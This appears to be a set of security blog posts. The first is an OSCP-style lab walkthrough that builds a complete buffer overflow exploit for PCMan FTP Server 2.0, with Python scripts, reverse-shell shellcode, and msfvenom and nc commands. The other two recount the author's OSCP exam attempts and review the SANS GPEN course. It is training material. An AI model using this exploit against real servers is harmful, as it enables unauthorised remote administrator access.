OSCP-Like Buffer Overflow Walkthrough

What is a Buffer Overflow?

Simply put, a buffer overflow occurs when inputted data occupies more space in memory than allocated. The excess data may overwrite adjacent memory locations, potentially altering the state of the application.

A Buffer overflow can be leveraged by an attacker with a goal of modifying a computer’s memory to undermine or gain control of the application and in turn, the asset.

BufferOverFlow
Source: Hacking Tutorials

While buffer overflows are decreasing in popularity due to the advanced security controls implemented in today’s modern operating system, it’s still a necessary skill for those attempting the OSCP course. This listed walkthrough is intended to help guide those soon-to-be security professionals as it did myself.

Walkthrough Scenario

While performing a penetration test, an attacker identified an FTP server installed and running on a target asset. Quick Google searches identified that the FTP server, PCMan FTP Server 2.0, was identified as (potentially) vulnerable to a remote buffer overflow attack. The penetration tester downloaded the application using this Exploit-DB Link, and installed it on a Windows 7 VM, designed for testing. For buffer overflow testing purposes, the penetration tester uses Immunity Debugger.

1. Fuzzing the Application
First, we manipulate the proof-of-concept (POC) code found online to simply send 5000 “A” characters to the application.

#!/usr/bin/python
import socket
import sys

#1. Fuzzing the Application
payload = "A" * 5000

#Remote Connection to Target PCMan FTP Server
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.10.129',21))
#Sending & Receiving U
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('RENAME ' + payload + '\r\n')
s.close()

As we can see from the following image, our “payload” that sent 5000 “A” characters (HEX value of \x41), successfully overwrote multiple memory registers, including the kahuna of memory registers, EIP. The EIP register, also known as the Instruction Pointer, tells the running application what address in memory to execute next. So if we control EIP, we essentially control where the application points to in memory… maybe some shellcode?

1

We’re not going to spend time discussing what each register is or how they’re used in this post, for more information on x64 and x86 memory registers check out this Wiki page.

Outcome: We Overflow EIP, and can manipulate ESP, and ESI.

2. Unique Pattern Creation
The next step can be completed in many different ways, from using Immunity Debugger plugin, Mona, to creating unique patterns online or using Kali’s built-in pattern_create.rb. For the purpose of this exercise, we’ll utilize the Immunity Debugger plugin, Mona.

Using the search bar located at the bottom left of Immunity Debugger, enter “!mona pattern_create 5000“. This will create a unique string of 5000 characters. Copy the unique string and paste it in your custom python payload as shown below.

#!/usr/bin/python
import socket
import sys

#2. Unique Pattern Creation
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0[snip-snip]j6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

#Remote Connection to Target PCMan FTP Server
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.10.129',21))
#Sending & Receiving U
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('RENAME ' + payload + '\r\n')
s.close()

After sending the python payload over to our Windows 7 testing VM, we see the following result.

2

Outcome: EIP has been replaced with a unique value of “43386F43“.

3. Unique Pattern Offset
The purpose of this step is to identify our pattern offset, or in simpler terms, where in memory do we start controlling EIP? Again, there are a number of tools that can help us identify our offset, but we’re going to use Mona again. Back on Immunity Debugger, type “!mona patter_offset 43386F43″.

Outcome: Pattern match found at position “2004“.

4. Confirm EIP Offset Location
Before getting too excited, we need to confirm our EIP offset location. To accomplish this, we need to adjust our 5000 character payload. First, we’ll send 2004 “A”s (offset location identified in step 3), following by 4 “B”s, and finally, while keeping our original payload length the same, we’ll send 2992 “C”s (5000-(2004+4)).

#!/usr/bin/python
import socket
import sys

#4. Confirm EIP Offset Location
payload = "A" * 2004 + "B" * 4 + "C" * (5000-(2004+4))

#Remote Connection to Target PCMan FTP Server
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.10.129',21))
#Sending & Receiving U
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('RENAME ' + payload + '\r\n')
s.close()

Ahhh yeah! The following image proves our POC. The 4 “B”s (HEX value of \x42) we sent right after our identified offset is shown in the EIP field. Remember, the EIP register points to the next address in memory.

3

Outcome: Confirmed EIP control.

5. Identify Bad Characters
Before we can create our shellcode, we need to target the application’s bad HEX characters. This process can be automated but for the purpose of this exercise, we’ll be completing it manually. With our bad characters loaded into our python payload, it’s time to start eliminating the HEX values that don’t continue the expected ascending character sequence (00-01-02-03-04-XX).

import socket
import sys

#5. Identify Bad Characters
badcharacters = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = "A" * 2004 + "B" * 4 + badcharacters + "C" * (5000-(2004+4+255))

#Remote Connection to Target PCMan FTP Server
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.10.129',21))
#Sending & Receiving U
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('RENAME ' + payload + '\r\n')
s.close()

Moving over to Immunity Debugger, we need to right-click our ESI registry (where all our “A” characters are present) and select “Follow in Dump”.

51

In the HEX dump (located in the bottom left pane of Immunity Debugger), we need to locate our offset control (4 “B”s). As shown in the following image, we identify our initial padding (2004 “A”s), our offset control, then a string of random characters. In this example, HEX value “0D” follows right after HEX value “42” (B), where we should be seeing HEX value “00” (ascending order). We have our first bad character!

52

Now we need to adjust our python payload by removing “\x00” from the bad characters list and run it again, completing the same exercise. Notice that after removing “\x00” from the bad characters list, the numbers ascend properly. That is until we hit our second bad character, HEX value “0A”.

53

Third times a charm right? Adjust the python payload again, this time by removing “\x0a”, and send the payload back to the testing VM. Looking at the result below, we see characters ascend until they hit HEX value “0D”. We have another bad character!

54

Last time I promise! Let’s send our python payload after we remove our latest bad character, “0D”. Moving over to Immunity Debugger, notice anything different? Our long string of “A”s are no longer present in our registers pane beside the ESI register. That seems like a sign of good things to come! Moving down to the HEX dump, we finally see our ascending bad characters string (except for the ones we removed).

55

Outcome: Bad characters identified are “\x00\x0a\x0d“.

6. Identify Registry JMP Point
Before we can send our malicious payload, we need to use our EIP control capabilities to point somewhere in memory where we have ample space to execute our shellcode. Being able to point somewhere specific in memory is also known as jumping (JMP). As identified in step 1, we have the ability to corrupt the ESP register. For the purpose of this exercise, we’re going to look for a JMP ESP execution point in memory.

Follow these simple steps to identify executable modules, and JMP ESP addresses:
a) Immunity Debugger -> View -> Executables Modules
b) Pick a module, any module! We’re going to use USER32.dll
c) Let’s find the corresponding JMP ESP by using Mona: “!mona jmp -r esp -m user32.dll
d) Document JMP ESP result

Outcome: JMP ESP location identified at “0x7dc7fcdb.

7. Test JMP ESP Control with Breakpoint
Now, we most likely have the proper JMP ESP memory expression, but we should run a quick test to ensure our shellcode will properly execute.To accomplish this, we need to head over to Immunity Debugger and perform the following steps:
a) Immunity Debugger -> CTRL + G (Enter Memory Expression)
b) Enter the JMP ESP memory expression observed in step 6 – “0x7dc7fcdb
c) To create a breakpoint at that expression, press “F2” (Expression will be highlighted)

Head back over to Kali and make some quick edits to your python payload. Be sure to add the JMP ESP memory expression (formatted in Little Endian), followed by some NOP (HEX value of \x90) commands to ensure our payload lands and controls the specific location in memory we want it to.

#!/usr/bin/python
import socket
import sys

#7. Test JMP ESP Control with Breakpoint
payload = 'A'*2004 + '\xdb\xfc\xc7\x7d' + '\x90' * 16 + 'C'*(5000-(2004+4+16))

#Remote Connection to Target PCMan FTP Server
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.10.129',21))
#Sending & Receiving U
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('RENAME ' + payload + '\r\n')
s.close()

Since we added a breakpoint into Immunity Debugger, the program won’t crash immediately as it’s waiting for us to either “Step Into” (F7) the application, one memory expression at a time, or “Run” (F9) the application, completing the crash. We want to “Step Into” our program to view our NOPs, followed by our padding of “C”s (HEX value of \x43), which will ultimately be replaced by our shellcode.

7

Outcome: We successfully “Step Into” our NOPs.

8. Create Shellcode using MSFVenom
It’s time to create our shellcode and add it to our python payload!

Make sure you know your basic MSFVenom commands. After all the work put into fuzzing and working your way through the vulnerable application, the last thing you want to do is make a silly mistake at this point. Here are some quick tips when creating your shellcode:
a) Choose the correct payload (Staged VS Unstagged, Metasploit Handler VS NC Handler)
b) Remember to add your bad characters!
c) Select which format the payload will be displayed using

#8. Create Shellcode Using MSFVenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.132 LPORT=3163 -b "\x00\x0a\x0d" -f c

Outcome: Shellcode with omitted bad characters

9. Start Call Home Listener
For the purposes of this walkthrough, I decided to use an unstaged Windows reverse shell payload, allowing me to receive a call home using a simple tool like NC. The only step needed here is to open a second Terminal window and listen on the port documented in step 8.

#9. Start Call Home Listener
nc -lvp 3163

Outcome: Reverse shell handler listening & waiting for call-home

10. Add Shellcode, Execute & Wait
Now, we finally get to build our puzzle! Let’s take a quick look at what we have in our final python payload delivery. We moved the variables around to accompany the long 351-byte shellcode, starting with “payload_before“. This variable contains our initial padding, followed by our JMP ESP value, and our NOPs. Next, the “shellcode” variable consists of our… well, shellcode. Finally, the “payload_after” contains another padded value, maintaining our original fuzzing value of 5000.

#!/usr/bin/python
import socket
import sys

#10. Add Shellcode, Execute & Wait
payload_before = 'A'*2004 + '\xdb\xfc\xc7\x7d' + '\x90'*16
shellcode = '\xdb\xd6\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x52\xbe\xb5\xdc\x7b\xf1\x31\x72\x17\x03\x72\x17\x83\x77\xd8\x99\x04\x8b\x09\xdf\xe7\x73\xca\x80\x6e\x96\xfb\x80\x15\xd3\xac\x30\x5d\xb1\x40\xba\x33\x21\xd2\xce\x9b\x46\x53\x64\xfa\x69\x64\xd5\x3e\xe8\xe6\x24\x13\xca\xd7\xe6\x66\x0b\x1f\x1a\x8a\x59\xc8\x50\x39\x4d\x7d\x2c\x82\xe6\xcd\xa0\x82\x1b\x85\xc3\xa3\x8a\x9d\x9d\x63\x2d\x71\x96\x2d\x35\x96\x93\xe4\xce\x6c\x6f\xf7\x06\xbd\x90\x54\x67\x71\x63\xa4\xa0\xb6\x9c\xd3\xd8\xc4\x21\xe4\x1f\xb6\xfd\x61\xbb\x10\x75\xd1\x67\xa0\x5a\x84\xec\xae\x17\xc2\xaa\xb2\xa6\x07\xc1\xcf\x23\xa6\x05\x46\x77\x8d\x81\x02\x23\xac\x90\xee\x82\xd1\xc2\x50\x7a\x74\x89\x7d\x6f\x05\xd0\xe9\x5c\x24\xea\xe9\xca\x3f\x99\xdb\x55\x94\x35\x50\x1d\x32\xc2\x97\x34\x82\x5c\x66\xb7\xf3\x75\xad\xe3\xa3\xed\x04\x8c\x2f\xed\xa9\x59\xff\xbd\x05\x32\x40\x6d\xe6\xe2\x28\x67\xe9\xdd\x49\x88\x23\x76\xe3\x73\xa4\xb9\x5c\x71\xb0\x52\x9f\x85\xb4\xf9\x16\x63\xae\xed\x7e\x3c\x47\x97\xda\xb6\xf6\x58\xf1\xb3\x39\xd2\xf6\x44\xf7\x13\x72\x56\x60\xd4\xc9\x04\x27\xeb\xe7\x20\xab\x7e\x6c\xb0\xa2\x62\x3b\xe7\xe3\x55\x32\x6d\x1e\xcf\xec\x93\xe3\x89\xd7\x17\x38\x6a\xd9\x96\xcd\xd6\xfd\x88\x0b\xd6\xb9\xfc\xc3\x81\x17\xaa\xa5\x7b\xd6\x04\x7c\xd7\xb0\xc0\xf9\x1b\x03\x96\x05\x76\xf5\x76\xb7\x2f\x40\x89\x78\xb8\x44\xf2\x64\x58\xaa\x29\x2d\x68\xe1\x73\x04\xe1\xac\xe6\x14\x6c\x4f\xdd\x5b\x89\xcc\xd7\x23\x6e\xcc\x92\x26\x2a\x4a\x4f\x5b\x23\x3f\x6f\xc8\x44\x6a'
payload_after = 'C'*(5000-(2004+4+16+351))

#Remote Connection to Target PCMan FTP Server
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.10.129',21))
#Sending & Receiving U
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('RENAME ' + payload_before + shellcode + payload_after + '\r\n')
s.close()

Full Send! After 10 or so seconds, we get a call-home and have gained Administrative access on our target computer via PCMan FTP Server’s RENAME buffer overflow vulnerability.

10

Outcome: Reverse Shell Access Granted as Administrator

Conclusion

After battling through many buffer overflow machines while taking my OSCP – and failing each and every one of them, I knew I needed to create a listed formula. While not perfect, it structured my attack process and more often than not, returned successful shells.

I hope that this walkthrough can be helpful for those taking their OSCP, as it helped me face the daunting buffer overflow exam question.

Thanks for reading! Until next time!

 CherryDarkness

OSCP: An Unexpected Journey

What’s an OSCP?
An adventure like no other, Offensive Security Certified Professional (OSCP) gives willing participants a chance to go from zero to hero in a self-paced certification process. When I say zero, I truly mean it…

There isn’t a “best practice” method to starting, working through or successfully navigating the OSCP course materials or exam but I’m hoping that this post helps those who might be on the fence to just give it a go!

1. Diving into the Deep End
I started my OSCP journey in January of 2017 and had little to no experience with anything offensive security related. I knew what Kali was. I knew what Metasploit was. I knew that NMAP was used in “The Matrix”.

MatrixNMAP

Finding a starting point was extremely challenging for me; getting “dropped” into a network with 35+ machines that are all “hackable” was overwhelming. There is no right answer here, just spin up a scanner and start gathering information about the network, domain, potential users, etc.

2. Looking at the Bigger Picture
I found it beneficial to organize all that juicy collected network and domain-related data into a readable format. Maybe a spreadsheet with a tab for “Network Assets”, (detailing high-level information on each target) and a tab for “Domain Information” (detailing servers, users, and groups).

3. Finding that First (Critical) Target
Now that we have a full list of vulnerable targets, it’s go time. This is another extremely daunting part of OSCP and circles back to our first point – where the heck do we start? For sanity sake, and an opportunity to get your first shell, I (this is my personal opinion) would start with the oldest operating systems identified during the enumeration phase. It might be an easy first win and help build confidence. I also found it important to work on one target until root privileges were obtained.

4. Ask for Help, Everyone Needs it
There will be times you’ll want to throw something within your personal radius (best to nail important things down) but that’s part of the process. There will be times you’ll spend 4 hours on a single machine to suddenly realize that you’ve been digging the wrong way this whole time and that the answer was something you learned on a previous machine (this is why documentation is so important – but we’ll get to that).

Google is your friend! If you think of something, Google it. Think of it this way… someone has been in your shoes already, someone has figured it out and if they’re nice enough, they’ve blogged about it. There are endless resources available, including public and OSCP student forums, use them, don’t be afraid to ask for help on a topic that is brand new to you.

5. Building a Personal Toolset (Learn them, add them)
What tools are the best OSCP tools to use? This is a common question I’ve been asked and the answer isn’t as straightforward as one would hope. OSCP does a great job suggesting common tools to use in their introductory videos but that’s what they are, suggestions. Everyone uses different tools, and there is no wrong answer here. Sure, some tools might be more efficient than others but at the end of the day, if they both get the job done, then that’s a win in my book!

Some of you are probably still thinking – just list your favorite tools! Well, here’s some:

6. Test Time, Just go for it – and Keep Trying!
Some students will feel ready to challenge the exam after “shelling” 10 machines, other students will want to tackle as many as they can before taking the test. Again, there isn’t an exact science here, it’s all about personal preference. My opinion here is to just take the leap – just go for it, what’s the worse that’s going to happen? The whole premise of the OSCP certification is to Try Harder and to learn from your mistakes; failing an exam is just one of those learning lessons.

  • 1st Attempt
    After “shelling” close to 20 machines, I thought it was time to take that leap and attempt the daunting 24-hour OSCP exam… it definitely wasn’t. The exam started at 9am and I think I starred at my screen, literally shaking with nerves, for the first hour. Once I calmed myself down, I dove headfirst into multiple machines, trying to find an “easy win”, wasting another couple of hours. Before I knew it, I had only “shelled” one machine and been staring at my computer for close to 14 hours.Tips for next time: “Shell” more machines, read tutorials on advanced topics, take breaks, and eat regularly.
  • 2nd Attempt
    Fast-forward 2 months, and after “shelling” close to 40 machines, I thought this was my time and got ready to take the 2nd attempt. The nerves were substantially better this time around, but I struggled to get a “shell” on my first target and it rattled me. It took me roughly 6 hours to gain “shell” on that target and the test slowly became a race against the clock – and we can all guess who won that battle.Tips for next time: Sharpen skills with Hack-The-Box CTF Challenges, plan (forced) lunch and dinner dates with friends and family, and exercise at least once.
  • 3rd Attempt
    Now, 4 months after my initial exam, and (hopefully) learning from past experiences, it was time to take my third (and final) OSCP certification attempt. I grabbed that first “shell” within the first couple of hours, gained a second and third “shell” within the next 3 hours, then took a nice lunch break with some friends – hitting the mental reset button. I struggled throughout the afternoon, so I went for a run to clear my head, had a great dinner, then jumped back into it. Obtaining that final “shell” was an overwhelming experience and definitely worth all the heartache.

7. Documentation, it’s Important
One aspect of the OSCP certification that flies under the radar, in my opinion, is the need for lab and exam documentation. A student cannot pass the final exam without submitting documentation. I’m sure this frustrates more than a handful of students, but this is what separates this offensive certification from others –  it truly does prepare students for the real-world penetration testing projects.

Keep detailed notes on known networks, domains, users, communications.
Keep detailed notes on tactics, techniques, and Procedures (TTPs).

Your Turn!
OSCP will knock you down. OSCP might make you cry, but it’s definitely worth it.

As of early 2020, it’s been revamped, and with everyone being limited to home offices, now is a good of a time as ever to get started.

Revamped OSCP Course
Revamped OSCP Syllabus

Until next time!

 CherryDarkness

SANS GPEN: An Introduction to Offsec

 CherryDarkness

Welcome to TheListSec!

Today I want to give my two cents on a well-known offensive security certification
SANS GPEN (SEC560).

Let’s give it a go…

1. Why start with GPEN?
I started my offsec journey back in January 2017, but the first course I tackled wasn’t GPEN. It was OSCP. I was your typical wannabe “hacker n00b” who thought mastering Metasploit would give me unlimited shells. Once I rooted the 3 or 4 point-and-click targets I hit a brick wall and no matter what I tried, I couldn’t move it. Every new topic was confusing, every new tool was complicated and I quickly came to realize I had no idea what I was doing.

Going back to the drawing board was priority one if I wanted to continue down this offsec path. I did some research on several “introduction to penetration testing” courses and identified SANS GPEN as the clear winner. Albeit the course is expensive, the in-person lectures and lab time make it well worth it.

I remember listening to Ed Skoudis lecture about how to properly use “netcat” on day 2 and the light bulbs were going off like crazy! Although I had a tremendous amount of support from my colleagues, learning from an offsec teaching professional was my missing puzzle piece. It became clear that SANS GPEN, and learning the fundamentals of penetration testing was what I needed to start my offsec journey.

2. GPEN Expectations
Walking into class on day 1 brought excitement and nerves. Even though I had a networking background, I was still unsure that the class was going to give me the necessary tools and techniques needed to start my offsec journey.

My expectations were high but they were definitely met. After 6 (long) days of lectures, labs and CTFs, I left feeling confident that I had the fundamentals needed to tackle my next challenge.

3. GPEN Course Outline
The GPEN course breaks down as follows:
Day 1 (Comprehensive Pentest Planning and Scoping)
*Mindset of a Penetration Tester
*Creating effective engagement scopes and rules of engagements
*Detailed recon using the latest tools
*Document metadata extraction and analysis

Day 2 (In-Depth Scanning)
*In-depth scanning tools (TCPDUMP and NMAP)
*Vulnerability scanning with Nessus
*Packet manipulation with Scapy
*Enumerating users
*Netcat for pentesters

Day 3 (Exploitation)
*Comprehensive Metasploit coverage (exploits, stagers, and stages)
*Anti-Virus evasion
*In-depth meterpreter analysis
*Implementing port forwarding and network pivots
*Leverage Powershell Empire

Day 4 (Post Exploitation and Merciless Pivoting)
*Windows command line for pentesters
*Password attack tips
*Account lockout and strategies to avoid it
*Automated password guessing with Hydra
*Retrieving and manipulation Windows and Linux hashes
*Extracting hashes from memory using Mimikatz

Day 5 (In-Depth Password Attacks and Web App Testing)
*Password cracking with John the Ripper
*Sniffing and cracking Windows authentication
*Using Hashcat for maximum effectiveness
*Pass-The-Hash attacks
*Finding and exploiting a cross-site scripting
*Data plundering with SQL injection
*Command injection testing

Day 6 (Capture-the-Flag Challenge)

Full course details can be found here:
https://www.sans.org/course/network-penetration-testing-ethical-hacking

4. Exam Indexing & Preparation
After celebrating your CTF challenge win, take some time off, let everything you learned over the past week sink in, then get back to work.

There are some great articles and blogs online that walk GPEN course takers through creating a perfect exam index. I found re-reading each book and adding colored sticky notes to each topic (tool, technique, and methodology) I didn’t fully understand was my ace in the hole. I added each topic to a Word document and organized it alphabetically.

Creating an index is a great way to pass the GPEN exam but thoroughly understanding each topic won’t just help you pass the exam, it will set you up for more advanced offsec certifications.

Once the index is complete, my suggestion is to take your first practice test. Take the practice test just like you would take the actual exam, in a quiet room, with only your index, course books, pen, and paper. The first practice test is critical because it lets you know how much of your course knowledge transferred to the exam. Once the practice test is complete, SANS is nice enough to give you a report card letting you know your strengths but more importantly your weaknesses.

Take those weaknesses, re-read those sections, add more entries to your index then take your second practice test and repeat.

When exam day comes, have a big breakfast, do something that relaxes you (listen to music, take your dog for a walk, go for a run) and most importantly, be confident! I’m not a good exam taker but answering your last question, clicking “next” and seeing “Congratulations” appear on your screen makes all the anxiety and stress worth it!

5. GPEN Pro Tips
Some quick tips to help get you through the week and prep for the exam:
*Come to class each day with a positive attitude
*Write down the day 6 CTF hints your teacher gives out
*Work on the course CTFs only when you’ve completed the course labs
*If you have a question, ASK IT! Someone else is thinking the same thing
*Compete in NETWARS if you can! 500 hackers in one room with free beer, Best
*Communicate with your team constantly during the day 6 CTF challenge
*Have fun! Learn a lot!

6. Onto the Next Challenge
SANS’ next level course is GXPN – (SEC660) Exploit Researcher and Advanced Penetration Tester. Some experts identify this course as the next logical step but I disagree.

I believe GPEN gives students enough logical and practical knowledge to begin their Offensive Security Certified Professional (OSCP) journey. This course is not for the faint of heart as it presents road block after road block but you’ll a tremendous amount.

The main reason I’d suggest OSCP over GXPN after completing GPEN is the practical experience you’ll gain working through buffer overflows; a topic covered in-depth in GXPN.

My offsec journey would look like this: GPEN -> OSCP  -> GXPN -> TBD

Thanks for reading & good luck with your certification!

 CherryDarkness